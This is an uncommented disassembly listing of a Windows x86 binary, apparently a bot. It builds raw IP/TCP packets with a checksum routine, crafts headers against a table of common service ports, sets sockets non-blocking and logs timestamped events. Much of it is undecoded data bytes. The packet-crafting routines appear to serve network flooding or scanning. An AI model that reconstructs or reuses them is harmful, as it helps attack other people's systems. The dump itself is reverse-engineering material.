		dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h,	0AF7015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB7Ch, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CAF74h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	7415FF06h
		dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 435DD468h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 19E85359h
		dd 90022DBDh, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 435D8468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 0E8535959h, 22DBC88h
		db 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi

loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1

loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax

loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 5EB068FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022DBBh, 0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0C1A6E800h, 2B900228h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CAF18h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D57068h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	868FFFFh
		dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	435EE4h, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 90006A14h, 2DB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360D4h, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh
		dd 50004CAFh, 43608468h, 8D1BEB00h, 0FF500C45h,	4CAFB415h
		dd 0FFF88300h, 15FF2075h, 4CAF08h, 60406850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 7415FF00h,	66004CAFh, 8DDE4589h, 90500C45h
		dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 601468FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CE7283Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D57068ACh
		dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h
		dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch
		dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h
		dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h
		dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h,	223D8966h
		dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch
		dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h,	246852FBh
		dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CE308h, 0FFF475FFh,	4CAFD815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0A9E890FCh, 2B0228BCh, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB068h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2468500Ch,	0EB00435Fh
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 610068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0BDE89056h
		dd 5F022DB4h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2A
; ---------------------------------------------------------------------------

loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CAF1C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD

loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9

loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	near ptr 71AB4122h
		nop
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax

loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh,	6AEC4D8Dh
		dd 26A5104h, 98A35053h,	0FF004CE7h, 4CAF5415h, 0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h
		dd 53004CAFh, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CAFF415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0E79CBF83h, 2C68004Ch, 570042CAh,	6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 2C685750h, 57004361h, 0E8F04589h,	6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h
		dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h
		dd 0A366286Ah, 4CE73Ch,	0AF7415FFh, 0D80004Ch, 4CE740h
		dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh
		dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh
		dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h
		dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h
		dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh
		dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh
		dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h
		dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh
		dd 7905C600h, 6004CE7h,	0AF7415FFh, 0A366004Ch,	4CE77Ah
		dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh
		dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch
		dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h
		dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h
		dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h
		dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h,	4CBE5905h
		dd 0BF004CE7h, 4CE77Ch,	421D8966h, 66004CE7h, 0E75C1D89h
		dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h
		dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h
		dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h,	286A5300h
		dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 0B5FEE8FFh, 2B900228h, 0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 227AF5Ch
		dd 0FDC2E990h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D130
		mov	edi, 0B8h

loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------

loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D130[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D148[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_429230
		pop	ebx

loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436148
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D130

loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_436134
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch

loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 27A028Ch
		mov	ebx, offset dword_4D2B9C
		mov	edi, 80h
		mov	esi, offset dword_4CEB9C

loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CEB9C
		xor	ecx, ecx

loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D2B9C
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_436194
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_436180
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_4361C4
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax

loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CEB9C

loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352

loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D2B9C
		jl	short loc_415309

loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_4361A8
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 46h, 0ACh
		dd 5E5F022Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
